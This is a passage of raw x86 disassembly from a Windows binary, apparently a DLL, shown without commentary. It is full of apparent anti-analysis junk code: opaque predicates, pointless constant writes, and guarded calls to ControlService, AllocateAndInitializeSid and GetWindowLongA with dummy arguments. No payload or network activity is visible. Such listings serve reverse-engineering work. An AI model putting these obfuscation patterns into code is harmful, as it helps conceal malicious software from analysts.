mov dword [ebp - 0x11c], edx
xor edx, edx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x360]
mov esi, dword [eax]
sub esi, ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x70]
cmp eax, ecx
mov eax, dword [ebp - 0x54]
setg dl
xor ecx, ecx
cmp esi, eax
setg cl
xor eax, eax
cmp ecx, edx
setg al
cmp eax, 7
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xfc71010f
setne cl
neg ecx
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffeb
je 0x10042d0a
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffb
jl 0x10042c47
jmp 0x10043499
push 3
pop edi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x360]
call fcn.10010c2b
mov dword [ebp - 0x34], 0x69ad59e5
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], 0xb1b0cadf
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x28], 0xf5cbf793
mov dword [ebp - 0x10], ebx
jmp 0x100434dd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x82c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100434d0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
je 0x10043503
mov eax, dword [ebp - 0x34]
sub eax, 0xef70
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x34]
je 0x10043503
xor edx, edx
inc edx
mov eax, edx
jmp 0x10043508
xor edx, edx
mov eax, ebx
inc edx
mov dword [ebp - 0x24], eax
mov ebx, 0x56ce
mov eax, dword [ebp - 0x24]
mov ecx, ebx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
imul eax, dword [ebp - 0x20], 0xf9d6
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
sub ecx, eax
xor eax, eax
cmp ecx, 7
setl al
cmp eax, 5
je 0x10043540
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
dec eax
je 0x1004356a
mov dword [ebp - 0x1c], 0xfffffffd
dec dword [ebp - 0x1c]
jmp 0x1004358e
xor ecx, ecx
mov dword [ebp - 0x10], ecx
jmp 0x1004357e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x760], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10043571
mov dword [ebp - 0x760], 0x1cd1ac8c
mov esi, dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x24], 0xfffffff6
cmp dword [ebp - 0x24], 0xf
jg 0x1004368e
xor ebx, ebx
mov dword [ebp - 0x28], 0x9f94ad8a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0xabed997
cmp dword [ebp - 0x28], 9
jbe 0x100435eb
mov eax, dword [ebp - 0x28]
neg eax
cmp eax, dword [ebp - 0x28]
jge 0x100435d5
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x100435d7
mov eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x20], eax
jle 0x100435e7
cmp dword [ebp - 0x28], ebx
je 0x100435eb
mov eax, edx
jmp 0x100435ed
mov eax, ebx
cmp dword [ebp - 0x24], eax
je 0x10043616
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x10043671
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1004360f
push ebx
push 0xa2d
push ebx
call esi
dec dword [ebp - 0x18]
jns 0x100435fe
jmp 0x10043671
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1004364b
push ebx
push 0x247b
push 0xc51
push 0x255d
push 0x130f
push 0xae4
push 0x14e2
push 0x961
push 0x1ed0
push ebx
push ebx
call edi
mov dword [ebp - 0x28], ebx
jmp 0x1004366b
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10043668
push 0x2573
push 0x1024
call dword [sym.imp.USER32.dll_GetWindowLongA]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x10043650
cmp dword [ebp - 0x828], ebx
jne 0x10043689
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xf
push 1
pop edx
jle 0x100435ad
mov ebx, 0x56ce
mov dword [ebp - 0x30], 0x99841b3c
xor ecx, ecx
mov dword [ebp - 0x1c], 0x9611ca4b
xor edx, edx
mov dword [ebp - 0x44], 0xbe99b96b
inc edx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0x2e0c
mov dword [ebp - 0x44], 0xade45a91
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x10], ecx
jmp 0x100436da
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x658], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100436c9
mov dword [ebp - 0x30], 0xfffffff7
cmp dword [ebp - 0x30], 0xffffffe8
jl 0x100437d4
mov dword [ebp - 0x18], 0xaa29c146
push 3
mov dword [ebp - 0x10], ecx
pop ecx
jmp 0x10043710
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x844], 0xcd538770
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100436ff
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg bl
add eax, 0x4b7c8e78
xor ecx, ecx
cmp eax, ebx
setg cl
cmp ecx, dword [ebp - 0x18]
jge 0x100437ae
xor ecx, ecx
cmp dword [ebp - 0x18], ecx
je 0x100437ae
mov dword [ebp - 0x38], 0x65c829e
cmp dword [ebp - 0x38], ecx
jne 0x10043769
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x18], ecx
jne 0x10043766
cmp dword [ebp - 0x30], ecx
je 0x10043769
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0x5cab
setl al
xor ecx, ecx
cmp eax, 6
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x840], eax
jmp 0x100437ba
mov dword [ebp - 0x1c], 0xfffa
inc dword [ebp - 0x1c]
jne 0x100437ca
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe8
push 0
pop ecx
jge 0x100436f0
xor edx, edx
xor ecx, ecx
mov ebx, 0x56ce
inc edx
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x34], 0x69ad59e5
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], 0xb1b0cadf
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x28], 0xf5cbf793
push 3
mov dword [ebp - 0x10], ecx
pop eax
cmp dword [ebp - 0x10], eax
jge 0x10043822
push eax
pop ebx
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x85c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1004380b
mov ebx, 0x56ce
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
je 0x1004383e
mov eax, dword [ebp - 0x34]
sub eax, 0xef70
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x34]
mov eax, edx
jne 0x10043840
mov eax, ecx
mov dword [ebp - 0x24], eax
mov ecx, ebx
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
imul eax, dword [ebp - 0x20], 0xf9d6
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
sub ecx, eax
xor eax, eax
cmp ecx, 7
setl al
cmp eax, 5
je 0x10043873
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
dec eax
je 0x1004389f
mov dword [ebp - 0x1c], 0xfffffffd
dec dword [ebp - 0x1c]
xor ebx, ebx
jmp 0x100438c3
xor ebx, ebx
mov dword [ebp - 0x10], ebx
jmp 0x100438b3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6ec], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100438a6
mov dword [ebp - 0x6ec], 0x1cd1ac8c
mov dword [ebp - 0x24], 0xfffffff6
jmp 0x100439a4
mov dword [ebp - 0x28], 0x9f94ad8a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0xabed997
cmp dword [ebp - 0x28], 9
jbe 0x1004390d
mov eax, dword [ebp - 0x28]
neg eax
cmp eax, dword [ebp - 0x28]
jge 0x100438f7
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x100438f9
mov eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x20], eax
jle 0x10043909
cmp dword [ebp - 0x28], ebx
je 0x1004390d
mov eax, edx
jmp 0x1004390f
mov eax, ebx
cmp dword [ebp - 0x24], eax
je 0x10043939
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x10043996
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10043932
push ebx
push 0xa2d
push ebx
call esi
dec dword [ebp - 0x18]
jns 0x10043920
jmp 0x10043996
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1004396f
push ebx
push 0x247b
push 0xc51
push 0x255d
push 0x130f
push 0xae4
push 0x14e2
push 0x961
push 0x1ed0
push ebx
push ebx
call edi
mov dword [ebp - 0x28], ebx
jmp 0x10043990
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1004398d
push 0x2573
push 0x1024
call dword [sym.imp.USER32.dll_GetWindowLongA]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x10043974
cmp dword [ebp - 0x858], ebx
jne 0x100439ae
inc dword [ebp - 0x24]
push 1
pop edx
cmp dword [ebp - 0x24], 0xf
jle 0x100438cf
mov dword [ebp - 0x20], 0x477862f
mov dword [ebp - 0x20], ebx
jmp 0x10043aac
mov dword [ebp - 0x24], 0x98070ade
mov dword [ebp - 0x24], ebx
jmp 0x10043a9c
cmp dword [ebp - 0x24], 0xffffffe7
jl 0x100439cc
cmp dword [ebp - 0x20], 0xfffffffe
jge 0x100439bd
push 3
pop edi
mov dword [ebp - 0x20], 1
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x18], 0x14383674
push edi
call fcn.100105fb
mov dword [ebp - 4], 0x12
xor edx, edx
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x54], 7
mov dword [ebp - 0x44], 0x8f302d78
mov dword [ebp - 0x30], ebx
jmp 0x10043b00
cmp dword [ebp - 0x30], 2
jl 0x10043af3